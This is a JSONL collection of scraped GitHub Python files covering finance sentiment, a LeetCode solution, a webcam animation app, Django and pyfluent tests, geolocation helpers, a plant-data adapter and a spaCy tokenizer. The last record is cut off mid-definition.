+{"seq_id":"15719134007","text":"\"\"\"Finbrain Crypto Sentiment Analysis\"\"\"\n__docformat__ = \"numpy\"\n\nimport logging\nimport os\n\nimport pandas as pd\n\nfrom openbb_terminal.common.behavioural_analysis.finbrain_model import get_sentiment\nfrom openbb_terminal.common.behavioural_analysis.finbrain_view import (\n plot_sentiment,\n lambda_sentiment_coloring,\n)\nfrom openbb_terminal.decorators import log_start_end\nfrom openbb_terminal.helper_funcs import export_data\nfrom openbb_terminal.rich_config import console\nfrom openbb_terminal import rich_config\n\nlogger = logging.getLogger(__name__)\n\nPATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\ntry:\n COINS_JSON = pd.read_json(PATH + \"/data/finbrain_coins.json\")\n COINS = COINS_JSON[\"SYMBOL\"].tolist()\nexcept ValueError:\n COINS = None\n\n\n@log_start_end(log=logger)\ndef display_crypto_sentiment_analysis(coin: str, export: str) -> None:\n \"\"\"Sentiment analysis from FinBrain for Cryptocurrencies\n\n FinBrain collects the news headlines from 15+ major financial news\n sources on a daily basis and analyzes them to generate sentiment scores\n for more than 4500 US stocks. FinBrain Technologies develops deep learning\n algorithms for financial analysis and prediction, which currently serves\n traders from more than 150 countries all around the world.\n [Source: https://finbrain.tech]\n\n Parameters\n ----------\n coin: str\n Cryptocurrency\n export : str\n Export dataframe data to csv,json,xlsx file\n \"\"\"\n\n df_sentiment = get_sentiment(\n f\"{coin}-USD\"\n ) # Currently only USD pairs are available\n\n if df_sentiment.empty:\n console.print(f\"Couldn't find Sentiment Data for {coin}\\n\")\n return\n\n plot_sentiment(df_sentiment, coin)\n df_sentiment.sort_index(ascending=True, inplace=True)\n\n if rich_config.USE_COLOR:\n console.print(\n df_sentiment[\"Sentiment Analysis\"]\n .apply(lambda_sentiment_coloring, last_val=0)\n .to_string(),\n \"\\n\",\n )\n else:\n console.print(df_sentiment.to_string(), \"\\n\")\n\n export_data(\n export,\n os.path.dirname(os.path.abspath(__file__)),\n \"finbrain\",\n df_sentiment,\n )\n","repo_name":"rohankumardubey/OpenBBTerminal","sub_path":"openbb_terminal/cryptocurrency/due_diligence/finbrain_crypto_view.py","file_name":"finbrain_crypto_view.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"677124751","text":"import json\n\n#\n# Given two integers left and right that represent the range [left, right], \n# return the bitwise AND of all numbers in this range, inclusive.\n#\n# https://leetcode.com/problems/bitwise-and-of-numbers-range/\n\nclass Solution:\n def rangeBitwiseAnd(self, left: int, right: int) -> int:\n count = 0\n while left != right:\n left >>= 1\n right >>= 1\n count += 1 \n\n return left << count\n \n\nif __name__ == '__main__': \n with open('OUTPUT/IN', 'r') as f_in, open('OUTPUT/OUT', \"w\") as f_out:\n while True:\n left_line = f_in.readline().rstrip()\n rigth_line = f_in.readline().rstrip()\n\n if not (left_line and rigth_line):\n break\n left = json.loads(left_line)\n right = json.loads(rigth_line)\n\n res = Solution.rangeBitwiseAnd(Solution(), left, right) \n\n f_out.write(json.dumps(res) + '\\n')\n","repo_name":"yuvSid/interviewPrepare","sub_path":"python/bitwise_and_range.py","file_name":"bitwise_and_range.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"25551987846","text":"from PIL import Image,ImageTk\n\nimport math\n\nimport sounddevice as sd\nfrom animan import AnimationManager\nimport datetime\nimport keybind\nimport argparse\nimport queue\nfrom functools import partial\nimport cv2\nfrom threading import Lock\nfrom micman import MicMan\n\ncap_lock = Lock()\n\naction_history = []\nplaying_action = \"idle\"\n\nmicman = MicMan()\n\nsame_vid = True\n\ntoon_view_width = 400\ntoon_view_height = 400\n\nanim_grid_height = 200\n\nw_width = 400\nw_height = w_width\n\nMIN_WIN_DELTA = 2\nMIN_TIME_DELTA_MSECS = 500\n\nlast_resize = datetime.datetime.now()\n\nupload_img = None\nwindow_resize_active=False\nactive_video_path = \"\"\n# active_video_path = \"/Users/aalobaid/Downloads/Tuber/Tuber/idlenormal.mp4\"\nactive_video_fps = 1000\n\ncap = None\n\nanime_q = queue.Queue()\n# anime_q = []\nanime_manager = AnimationManager()\n\nselected_property = \"\"\n\ncv2.namedWindow(\"window\", cv2.WINDOW_NORMAL)\ncv2.startWindowThread()\n\n\ndef on_window_resize(event):\n global last_resize, w_height, w_width, anim_bar\n\n time_diff = datetime.datetime.now() - last_resize\n if abs(w_height - event.height) > MIN_WIN_DELTA and time_diff.microseconds > MIN_TIME_DELTA_MSECS:\n w_height = root.winfo_height()\n w_width = root.winfo_width()\n print(f\"Resize event height: {event.height} height: {w_height} width: {w_width}\")\n anim_bar.resize_buttons(w_height)\n last_resize = datetime.datetime.now()\n\n\ndef loop_video(vpath=None):\n global cap, active_video_path, active_video_fps\n\n if vpath is None:\n vpath = active_video_path\n else:\n active_video_path = vpath\n\n cap_lock.acquire()\n if cap:\n cap.release()\n # del cap\n cap = None\n cap = cv2.VideoCapture(vpath)\n cap_lock.release()\n\n active_video_fps = cap.get(cv2.CAP_PROP_FPS)\n # print(f\"FPS: {active_video_fps}\")\n\n\n\n\ndef photo_image(img):\n h, w = img.shape[:2]\n data = f'P6 {w} {h} 255 '.encode() + img[..., ::-1].tobytes()\n return PhotoImage(width=w, height=h, data=data, format='PPM')\n\n\ndef cmd_controls(pressed_key):\n global selected_property\n if pressed_key == ord(\"s\"):\n selected_property = \"sensitivity\"\n print(f\"Selected property: {selected_property} and value is {micman.sensitivity}\")\n elif pressed_key == ord(\"+\") or pressed_key == ord(\"-\"):\n sign = 1\n if pressed_key == ord(\"-\"):\n sign = -1\n\n if selected_property == \"sensitivity\":\n new_sens = micman.sensitivity + 1*sign\n if 0 < new_sens < 30:\n micman.sensitivity = new_sens\n print(f\"new sensitivity: {new_sens}\")\n else:\n print(f\"invalid sensitivity: {new_sens}\")\n\n\ndef update():\n global cap, same_vid\n # global w_width, w_height, cap\n while same_vid:\n cap_lock.acquire()\n ret, img = cap.read()\n cap_lock.release()\n if ret:\n cv2.imshow('Frame', img)\n pressed_key = cv2.waitKey(25)\n if pressed_key == ord('q'):\n print(f\"stoping the app\")\n break\n else:\n cmd_controls(pressed_key)\n # if cv2.waitKey(25) & 0xFF == ord('q'):\n # print(f\"stoping the app\")\n # break\n\n # Press Q on keyboard to exit\n # if cv2.waitKey(25) & 0xFF == ord('q'):\n # return\n\n # w_width = canvas.winfo_width()\n # w_height = canvas.winfo_height()\n # toon_view_width = min(w_width, w_height)\n # toon_view_height = toon_view_width\n # img = cv2.resize(img, (toon_view_width, toon_view_height))\n #\n # photo = photo_image(img)\n # canvas.delete()\n # canvas.create_image(w_width/2 - toon_view_width/2, w_height/2 - toon_view_height/2, image=photo, anchor=NW)\n # canvas.image = photo\n else:\n loop_video()\n # if anime_q.empty():\n # # q_lock.acquire()\n # # if not anime_q:\n # print(f\"queue is empty\")\n # loop_video()\n # # q_lock.release()\n # else:\n # # vpath = anime_q.get(block=True)\n # # vpath = anime_q.pop(0)\n # vpath = anime_q.get(0)\n #\n # # q_lock.release()\n # print(f\"getting a new vpath: {vpath}\")\n # loop_video(vpath)\n # wait_time = int(1000/active_video_fps)\n # root.after(wait_time, update)\n\n\n\n\n\n\ndef take_action(action_name):\n global active_video_path\n print(f\"Doing action {action_name}\")\n print(type(action_name))\n if action_name.isdigit():\n open_anim_id = int(action_name)\n if 0 <= open_anim_id <= 9:\n print(f\"Run animation {open_anim_id}\")\n vpath = anim_bar.get_vid(open_anim_id)\n if vpath:\n active_video_path = vpath\n print(f\"Change active video to {vpath}\")\n loop_video()\n\n\n\n\ndef audio_to_action(amp):\n global anime_manager, playing_action\n\n if amp < 0.05:\n action = \"idle\"\n # else:\n # action = \"talk\"\n elif amp < 0.7:\n action = \"talk\"\n else:\n action = \"peak\"\n\n if \"talk\" in action_history or \"peak\" in action_history:\n action_history.pop(0)\n action_history.append(action)\n if playing_action == \"talk\" and action==\"peak\":\n pass\n # action_history.append(action)\n # do peak\n elif playing_action == \"peak\" and action==\"talk\":\n pass\n # action_history.append(action)\n # do talk\n else:\n # action_history.append(action)\n if playing_action in [\"talk\", \"peak\"]:\n # continue to play the same animation\n print(f\"Continue the animation {playing_action}\")\n return\n # else:\n # # in case playing action was idle but should've been talking or peak.\n # action = \"talk\"\n elif action == \"idle\" and playing_action == \"idle\":\n # continue playing the idle\n return\n else:\n action_history.pop(0)\n action_history.append(action)\n\n # if adle continue to be adle\n # if was adle and now talk or peak. do the new action\n\n\n print(f\"audio to action: {action} and amp {('{:.2f}'.format(amp))}\")\n vpath = anime_manager.get_action_vid(action)\n loop_video(vpath)\n playing_action = action\n\n\n\n\n\ndef parse():\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument('-v', '--videos', required=True, nargs='+', help='the list of videos to be utilised')\n parser.add_argument('-d', '--device', type=int, help=\"The index of the number. This should be an integer\")\n parser.add_argument('-s', '--sensitivity', default=1, type=int, help=\"How sensitive are the mics\",\n choices=range(1, 50),\n metavar=\"[0-50]\",\n )\n args = parser.parse_args()\n print(f\"The arguments are parsed:\")\n print(f\"args: {args}\")\n if isinstance(args.device, int):\n dev_id = args.device\n else:\n dev_id = micman.get_device_from_user()\n\n return args.videos, dev_id, args.sensitivity\n\n\ndef exit_app():\n global cap, cap_lock\n print(f\"Exiting the app and releasing the resources.\")\n micman.stop_audio_capture()\n cap_lock.acquire()\n if cap:\n cap.release()\n cap = None\n cap_lock.release()\n cv2.destroyAllWindows()\n\n\ndef setup_action_history(history=3,action=\"idle\"):\n global action_history\n for i in range(history):\n action_history.append(action)\n\n\ndef main():\n global root, cap, anime_manager\n videos, dev_id, sens = parse()\n setup_action_history(history=3)\n anime_manager.organise(videos)\n micman.callback = audio_to_action\n micman.sensitivity = sens\n micman.capture_audio(dev_id)\n loop_video(anime_manager.get_action_vid(\"idle\"))\n try:\n update()\n except KeyboardInterrupt:\n print(f\"Keyboard is interrupted. Now releasing the resources.\")\n exit_app()\n\n\n # cap.release()\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n","repo_name":"ahmad88me/pytoontuber","sub_path":"toontuber/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8112,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"13930967353","text":"from notifications.models import Notification\n\nimport constants\nfrom libs.websocket import EpisodeNotificationWebsocket\nfrom tests.base_test import BaseTestCase\nfrom tests.factories import (\n EpisodeFactory,\n StudentFactory,\n UserStudentMappingFactory,\n)\n\n\nclass TestEpisodeNotificationWebsocket(BaseTestCase):\n @classmethod\n def setUpTestData(cls):\n super().setUpTestData()\n\n cls.student = StudentFactory.create()\n\n UserStudentMappingFactory.create(\n student=cls.student,\n user=cls.manager_user,\n added_by=cls.super_user,\n )\n UserStudentMappingFactory.create(\n student=cls.student,\n user=cls.experimental_user,\n added_by=cls.super_user,\n )\n\n cls.episode = EpisodeFactory.create(\n student=cls.student,\n user=cls.manager_user,\n )\n\n def test_send_episode_notification_to_mapped_users(self):\n old_count = Notification.objects.filter(\n verb=constants.Activity.CREATE_EPISODE\n ).count()\n\n EpisodeNotificationWebsocket.send_episode_notification_to_mapped_users(\n self.episode\n )\n\n new_count = Notification.objects.filter(\n verb=constants.Activity.CREATE_EPISODE\n ).count()\n self.assertEqual(old_count + 1, new_count)\n","repo_name":"stanislavpol00/education","sub_path":"tests/unit/libs/websocket/test_episode.py","file_name":"test_episode.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22525934143","text":"\"\"\"\nWrite a Python function to check whether a string is pangram or not.\n(Assume the string passed in does not have any punctuation)\n\"\"\"\n\n\nimport string\n\n\ndef ispangram(str1, alphabet=string.ascii_lowercase):\n\n my_new_set = set(str1.lower().replace(' ', ''))\n my_alphabet_set = set(alphabet)\n\n return my_alphabet_set.difference(my_new_set) == 0\n\n\nprint(ispangram(\"The quick brown fox jumps over the lazy dog\"))\nprint(ispangram(\"It is really cold in the morning for ahmendabad people working really good for longer times in a company\"))\n\n","repo_name":"harsh-p-soni/pythonLearning","sub_path":"2022 Complete Python Bootcamp From Zero to Hero in Python/03-Methods and Functions/Functions and Methods Homework/07.py","file_name":"07.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30116990477","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\nfrom ...core.objects.relic import DMRelic\nfrom ...core.objects.hero import DMHero\nfrom ...rooms.traproom import DMTrapRoom\n\nif TYPE_CHECKING:\n from dm.core.contexts import AttackContext\n from dm.core.game.game import DMGame\n################################################################################\n\n__all__ = (\"HiddenTrapChute\",)\n\n################################################################################\nclass HiddenTrapChute(DMRelic):\n\n def __init__(self, state: DMGame):\n\n super().__init__(\n state,\n _id=\"REL-251\",\n name=\"Hidden Trap Chute\",\n description=(\n \"When a trap defeats an enemy, it will reactivate if able to \"\n \"do so.\"\n ),\n rank=4\n )\n\n################################################################################\n def on_acquire(self) -> None:\n \"\"\"Called automatically when a relic is added to the player's inventory.\"\"\"\n\n self.listen(\"on_death\")\n\n################################################################################\n def notify(self, ctx: AttackContext) -> None:\n\n if isinstance(ctx.source, DMTrapRoom):\n if isinstance(ctx.target, DMHero):\n ctx.source.reactivate()\n\n################################################################################\n","repo_name":"AllegroVivo/DungeonDefense","sub_path":"dm/relics/FourStar/HiddenTrapChute.py","file_name":"HiddenTrapChute.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2575387737","text":"from typing import Optional\n\nimport pytest\n\nfrom ansys.fluent.core import examples\nfrom ansys.fluent.core.filereader.case_file import SettingsFile as SettingsReader\n\n\ndef call_settings_reader(\n settings_file_name: Optional[str] = None, expected: Optional[dict] = None\n):\n reader = SettingsReader(settings_file_name=settings_file_name)\n if expected is not None:\n assert reader.precision() == expected[\"precision\"]\n assert reader.num_dimensions() == expected[\"num_dimensions\"]\n assert reader.iter_count() == expected[\"iter_count\"]\n assert {\n p.name: (p.numeric_value, p.units) for p in reader.input_parameters()\n } == expected[\"input_parameters\"]\n assert {p.name: p.units for p in reader.output_parameters()} == expected[\n \"output_parameters\"\n ]\n\n\ndef call_settings_reader_static_mixer(\n settings_file_name: Optional[str] = None,\n):\n call_settings_reader(\n settings_file_name=settings_file_name,\n expected=dict(\n precision=2,\n num_dimensions=3,\n iter_count=100,\n input_parameters=dict(\n inlet1_temp=(300, \"K\"),\n inlet1_vel=(1, \"m/s\"),\n inlet2_temp=(350, \"K\"),\n inlet2_vel=(1, \"m/s\"),\n ),\n output_parameters={\n \"outlet-temp-avg-op\": \"K\",\n \"outlet-vel-avg-op\": \"m s^-1\",\n },\n ),\n )\n\n\ndef static_mixer_settings_file():\n return examples.download_file(\n \"Static_Mixer_Params\",\n \"pyfluent/static_mixer\",\n return_without_path=False,\n )\n\n\ndef test_settings_reader_static_mixer_h5():\n call_settings_reader_static_mixer(settings_file_name=static_mixer_settings_file())\n\n\ndef test_meshing_unavailable():\n reader = SettingsReader(settings_file_name=static_mixer_settings_file())\n with pytest.raises(AttributeError) as msg:\n reader.get_mesh()\n assert msg.value.args[0] == \"'SettingsFile' object has no attribute 'get_mesh'\"\n\n\ndef test_settings_reader_get_rp_and_config_vars():\n reader = SettingsReader(settings_file_name=static_mixer_settings_file())\n rp_vars = reader.rp_vars()\n assert rp_vars\n assert hasattr(rp_vars, \"__getitem__\")\n config_vars = reader.config_vars()\n assert config_vars\n assert hasattr(config_vars, \"__getitem__\")\n assert config_vars[\"rp-3d?\"] is True\n assert reader.config_var(\"rp-3d?\") is True\n assert reader.config_var.rp_3d__q() is True\n assert len(reader.rp_var.context.map_r17__plus()) == 53\n\n with pytest.raises(RuntimeError) as msg:\n reader.rp_var.defaults.pre_r19__dot0_early()\n assert msg.value.args[0] == r\"Invalid variable defaults/pre-r19.0-early\"\n\n with pytest.raises(ValueError) as msg:\n reader.config_var(\"rp-3d\")\n assert (\n msg.value.args[0] == \"rp-3d is not an allowed config-vars name.\\n\"\n \"The most similar names are: rp-3d?, rp-des?.\"\n )\n","repo_name":"ansys/pyfluent","sub_path":"tests/test_settings_reader.py","file_name":"test_settings_reader.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"3"}
+{"seq_id":"4350026636","text":"import json\nfrom collections import Counter\nfrom geopy.distance import geodesic\nfrom geopy.geocoders import Nominatim\nfrom django.http import JsonResponse\n\nAPP_NAME = 'carbur-app'\n\n\nclass GpsDataCollection:\n\n def __init__(self, json_data_path):\n self.jsonObject = self.getJsonData(json_data_path)\n\n def getJsonData(self, path):\n\n jsonFile = open(path)\n data = json.load(jsonFile)\n jsonFile.close()\n\n return data\n\n def getNumberOfPointsDeVente(self):\n return len(self.jsonObject)\n\n def getCityNumberOfPointsDeVente(self, cityName):\n data = self.jsonObject\n numberOFpdv = Counter(k[:] for d in data for k, v in d.items() if k.startswith(\n 'ville') and v.upper().startswith(cityName.upper()))\n return numberOFpdv['ville']\n\n def searchByCity(self, cityName):\n\n data = self.jsonObject\n pointsDeVente = json.dumps(\n [pointDevente for pointDevente in data if pointDevente['ville'].upper() == cityName.upper()])\n\n return json.loads(pointsDeVente)\n\n def searchByCircle(self, center, radius):\n\n pointsDeVente = []\n data = self.jsonObject\n\n for pdv in data:\n pdv_coordinate = (float(pdv['latitude']), float(pdv['longitude']))\n if geodesic(center, pdv_coordinate).km <= radius:\n pointsDeVente.append(pdv)\n\n return json.loads(json.dumps(pointsDeVente))\n\n def getCityNameFromCoords(self, lat, lng):\n geolocator = Nominatim(user_agent=APP_NAME)\n pdv_coordinate = str(lat)+\", \"+str(lng)\n location = geolocator.reverse(pdv_coordinate, timeout=None)\n loc_dict = location.raw\n return loc_dict['address']['city']\n\n def getCityCoords(self, cityname):\n geolocator = Nominatim(user_agent=APP_NAME)\n location = geolocator.geocode(cityname)\n position = {\"lat\":location.latitude,\"lng\":location.longitude}\n\n return position\n\n def getListOfCities(self):\n cities = []\n data = self.jsonObject\n\n for pdv in data:\n if pdv['ville'].capitalize() not in cities:\n cities.append(pdv['ville'].capitalize())\n\n cities.sort()\n return cities\n\n def getPointsDeVenteByCityAndCarburant(self, city, carburants):\n\n pointsDeVente = []\n data = self.jsonObject\n carburants = [x.lower() for x in carburants]\n \n for pdv in data:\n if pdv['ville'].upper() == city.upper():\n if len(carburants) > 0:\n if \"prix\" in pdv:\n if isinstance(pdv[\"prix\"], list):\n for i in range(len(pdv[\"prix\"])):\n if pdv[\"prix\"][i][\"nom\"].lower() in carburants:\n pointsDeVente.append(pdv)\n break\n else:\n if pdv[\"prix\"][\"nom\"].lower() in carburants:\n pointsDeVente.append(pdv)\n else:\n pointsDeVente.append(pdv) \n\n return json.loads(json.dumps(pointsDeVente))\n\n def getPointsDeVenteByRadiusAndCarburant(self, center, radius, carburants):\n \n pointsDeVente = []\n data = self.jsonObject\n carburants = [x.lower() for x in carburants] \n radius = float(radius)\n\n for pdv in data:\n pdv_coordinate = (float(pdv['latitude']), float(pdv['longitude']))\n if geodesic(center, pdv_coordinate).km <= radius:\n if len(carburants) > 0:\n if \"prix\" in pdv:\n if isinstance(pdv[\"prix\"], list):\n for i in range(len(pdv[\"prix\"])):\n if pdv[\"prix\"][i][\"nom\"].lower() in carburants:\n pointsDeVente.append(pdv)\n break\n else:\n if pdv[\"prix\"][\"nom\"].lower() in carburants:\n pointsDeVente.append(pdv)\n else:\n pointsDeVente.append(pdv)\n\n return json.loads(json.dumps(pointsDeVente)) \n\n\n#data = GpsDataCollection(\"PointsDeVenteTraited.json\")\n#myPosition = (43.516650580276526, 5.455939784654437)\n#print (data.searchByCircle(myPosition,5))","repo_name":"Hanry97/carbur-app","sub_path":"carbur_backend/polls/manageJsonFiles.py","file_name":"manageJsonFiles.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18207661073","text":"import random\nimport string\nimport sqlite3\n\ndef getKey(N):\n return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))\n\nconn = sqlite3.connect('tanks.sqlite')\nc = conn.cursor()\n#c.execute(\"DELETE FROM players\")\nnames = ['Savcha']\nfor name in names:\n key = getKey(8)\n print(name,\" - \", key)\n c.execute(\"INSERT INTO players (name, key, state) VALUES (?,?,?)\", [name, key, \"waiting\"])\n\nconn.commit();\n\n'''\nCrimson 4 3 4 4 15\nSon 3 1 2 1 7 - II\nLizzy 2 1 3\nKorol' 1 1 2\nSaraj 2 2 4 - III\nKolobok 4 4 2 10\nnik 3 3 3 9 - I\n'''\n","repo_name":"roctbb/GoTo","sub_path":"tanksTester/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"2930809530","text":"\"\"\"\nPlantDTO to derevo.Plant adapter is defined here.\n\"\"\"\n\nfrom derevo import Plant\nfrom derevo import enumerations as c_enum\nfrom loguru import logger\nfrom sqlalchemy import bindparam, select\nfrom sqlalchemy.ext.asyncio import AsyncConnection\n\nfrom plants_api.db.entities import (\n climate_zones,\n humidity_types,\n light_types,\n limitation_factors,\n plants_climate_zones,\n plants_humidity_types,\n plants_light_types,\n plants_limitation_factors,\n plants_soil_acidity_types,\n plants_soil_fertility_types,\n plants_soil_types,\n soil_acidity_types,\n soil_fertility_types,\n soil_types,\n)\nfrom plants_api.db.entities.enums import CohabitationType\nfrom plants_api.dto.plants import PlantDto\n\nfrom .derevo_enums import EnumAdapters\n\n\n_cohabitation_type_to_tolerance_types = {\n CohabitationType.negative: c_enum.ToleranceType.NEGATIVE,\n CohabitationType.neutral: c_enum.ToleranceType.NEUTRAL,\n CohabitationType.positive: c_enum.ToleranceType.POSITIVE,\n None: None,\n}\n\n\nasync def plant_dto_to_derevo_plant( # pylint: disable=too-many-locals,too-many-statements\n conn: AsyncConnection, plants: list[PlantDto]\n) -> list[Plant]:\n \"\"\"\n Transform plant DTOs list to list of derevo Plant types.\n \"\"\"\n if len(plants) == 0:\n return []\n\n limitation_factors_statement = select(\n select(limitation_factors.c.name)\n .where(limitation_factors.c.id == plants_limitation_factors.c.limitation_factor_id)\n .scalar_subquery(),\n plants_limitation_factors.c.type,\n ).where(plants_limitation_factors.c.plant_id == bindparam(\"plant_id\"))\n humidity_statement = select(\n select(humidity_types.c.name)\n .where(humidity_types.c.id == plants_humidity_types.c.humidity_type_id)\n .scalar_subquery(),\n plants_humidity_types.c.type,\n ).where(plants_humidity_types.c.plant_id == bindparam(\"plant_id\"))\n light_statement = select(\n select(light_types.c.name).where(light_types.c.id == plants_light_types.c.light_type_id).scalar_subquery(),\n plants_light_types.c.type,\n ).where(plants_light_types.c.plant_id == bindparam(\"plant_id\"))\n soil_acidity_statement = select(\n select(soil_acidity_types.c.name)\n .where(soil_acidity_types.c.id == plants_soil_acidity_types.c.soil_acidity_type_id)\n .scalar_subquery(),\n plants_soil_acidity_types.c.type,\n ).where(plants_soil_acidity_types.c.plant_id == bindparam(\"plant_id\"))\n soil_fertility_statement = select(\n select(soil_fertility_types.c.name)\n .where(soil_fertility_types.c.id == plants_soil_fertility_types.c.soil_fertility_type_id)\n .scalar_subquery(),\n plants_soil_fertility_types.c.type,\n ).where(plants_soil_fertility_types.c.plant_id == bindparam(\"plant_id\"))\n soil_type_statement = select(\n select(soil_types.c.name).where(soil_types.c.id == plants_soil_types.c.soil_type_id).scalar_subquery(),\n plants_soil_types.c.type,\n ).where(plants_soil_types.c.plant_id == bindparam(\"plant_id\"))\n usda_zone_statement = select(\n select(climate_zones.c.usda_number)\n .where(climate_zones.c.id == plants_climate_zones.c.climate_zone_id)\n .scalar_subquery(),\n plants_climate_zones.c.type,\n ).where(plants_climate_zones.c.plant_id == bindparam(\"plant_id\"))\n\n plants_out: list[Plant] = []\n\n for plant in plants:\n if plant.genus is None:\n continue\n payload = {\"plant_id\": plant.id}\n try:\n life_form = EnumAdapters.life_forms.get(plant.type)\n\n res = list(await conn.execute(limitation_factors_statement, payload))\n limitation_factors_resistances = {\n EnumAdapters.limitation_factors.get(lf): _cohabitation_type_to_tolerance_types[value]\n for lf, value in res\n }\n if None in limitation_factors_resistances:\n logger.warning(\n \"Some of the limitation factors was not found in mapping for plant with id={}\",\n plant.id,\n )\n del limitation_factors_resistances[None]\n\n res = list(await conn.execute(humidity_statement, payload))\n humidity_preferences = {\n EnumAdapters.humidity.get(ht): _cohabitation_type_to_tolerance_types[value] for ht, value in res\n }\n if None in humidity_preferences:\n logger.warning(\n \"Some of the humidity types was not found in mapping for plant with id={}\",\n plant.id,\n )\n del humidity_preferences[None]\n\n res = list(await conn.execute(light_statement, payload))\n light_preferences = {\n EnumAdapters.light.get(lt): _cohabitation_type_to_tolerance_types[value] for lt, value in res\n }\n if None in light_preferences:\n logger.warning(\n \"Some of the light types was not found in mapping for plant with id={}\",\n plant.id,\n )\n del light_preferences[None]\n\n res = list(await conn.execute(soil_acidity_statement, payload))\n soil_acidity_preferences = {\n EnumAdapters.acidity.get(lt): _cohabitation_type_to_tolerance_types[value] for lt, value in res\n }\n if None in soil_acidity_preferences:\n logger.warning(\n \"Some of the soil acidity types was not found in mapping for plant with id={}\",\n plant.id,\n )\n del soil_acidity_preferences[None]\n\n res = list(await conn.execute(soil_fertility_statement, payload))\n soil_fertility_preferences = {\n EnumAdapters.fertility.get(lt): _cohabitation_type_to_tolerance_types[value] for lt, value in res\n }\n if None in soil_fertility_preferences:\n logger.warning(\n \"Some of the soil fertility types was not found in mapping for plant with id={}\",\n plant.id,\n )\n del soil_fertility_preferences[None]\n\n res = list(await conn.execute(soil_type_statement, payload))\n soil_type_preferences = {\n EnumAdapters.soil.get(lt): _cohabitation_type_to_tolerance_types[value] for lt, value in res\n }\n if None in soil_type_preferences:\n logger.warning(\n \"Some of the soil types was not found in mapping for plant with id={}\",\n plant.id,\n )\n del soil_type_preferences[None]\n\n res = list(await conn.execute(usda_zone_statement, payload))\n usda_zone_preferences = {\n c_enum.UsdaZone.from_value(uz): _cohabitation_type_to_tolerance_types[value] for uz, value in res\n }\n if None in usda_zone_preferences:\n logger.warning(\n \"Some of the usda zones was not found in mapping for plant with id={}\",\n plant.id,\n )\n del usda_zone_preferences[None]\n\n plants_out.append(\n Plant(\n plant.name_ru,\n plant.name_latin,\n plant.genus,\n life_form,\n limitation_factors_resistances,\n usda_zone_preferences,\n light_preferences,\n humidity_preferences,\n soil_acidity_preferences,\n soil_fertility_preferences,\n soil_type_preferences,\n (\n c_enum.AggressivenessLevel.from_value(plant.spread_aggressiveness_level)\n if plant.spread_aggressiveness_level is not None\n else None\n ),\n (\n c_enum.SurvivabilityLevel.from_value(plant.survivability_level)\n if plant.survivability_level is not None\n else None\n ),\n plant.is_invasive,\n )\n )\n except Exception as exc: # pylint: disable=broad-except\n logger.error(\n \"Could not transform PlantDTO with id={} to derevo.Plant: {!r}\",\n plant.id,\n exc,\n )\n logger.debug(\"PlantDto data: {}\", plant)\n\n return plants_out\n","repo_name":"egov-itmo/derevo","sub_path":"backend/plants_api/utils/adapters/plants.py","file_name":"plants.py","file_ext":"py","file_size_in_byte":8569,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"42159157545","text":"import json\nfrom pathlib import Path\n\nimport spacy\n\nfrom src.features.nlp.config import TokenizerConfig\n\nnlp = spacy.load(\"en_core_web_sm\")\n\n\nclass CustomSpacyTokenizer:\n \"\"\"Spacy tokenizer to transform text into sequences\n\n Attributes\n ----------\n max_len : int, optional\n Maximum length of a sequence (the sequence\n will be truncated at the end). If `None` there is no\n truncation. If `-1` the length of the longest text\n in the texts used for fitting will be used. `` and ``\n are included. By default `None`.\n vocab_size : int, optional\n Size of the vocabulary. If `None`, all the unique tokens\n in the fitting texts will be added to the vocabulary. `` and ``\n are included. By default `None`.\n oov : bool\n If `True` it uses the `` token. Otherwise it skips the out-of-vocabulary token.\n pad_sequences : bool, optional\n If `True` uses zero-padding for the sequences (if `max_len` is specified), by default `True`.\n \"\"\"\n\n def __init__(self, max_len=None, vocab_size=None, oov=False, pad_sequences=True):\n self.max_len = max_len\n self.vocab_size = vocab_size\n self.oov = oov\n self.pad_sequences = pad_sequences\n\n self.vocab = {\"\": 1, \"\": 2}\n\n if self.oov:\n self.vocab[\"\"] = 3\n\n def fit(self, texts):\n \"\"\"Fit the tokenizer on a collection of texts\n\n Parameters\n ----------\n texts : iterable[str]\n A collection of texts as strings.\n \"\"\"\n counts = {}\n max_text_len = 2\n\n for text in texts:\n doc = nlp(text)\n text_len = 2\n for token in doc:\n if not token.is_punct:\n if not token.lower_ in counts:\n # add lowercase token to the counts\n counts[token.lower_] = 0\n text_len += 1\n counts[token.lower_] += 1\n if text_len > max_text_len:\n max_text_len = text_len\n\n # set the max_len if it is -1\n if self.max_len == -1:\n self.max_len = max_text_len\n\n # sort the words by decreasing number of occurrences\n words = [k for (k, _) in sorted(counts.items(), key=lambda x: x[1])]\n words.reverse()\n\n if self.vocab_size is not None:\n words = words[: self.vocab_size - 2]\n\n # the most frequent word will have index 3 or 4 (if oov)\n idx = 4 if self.oov else 3\n for word in words:\n self.vocab[word] = idx\n idx += 1\n\n if self.vocab_size is None:\n self.vocab_size = len(self.vocab)\n\n def 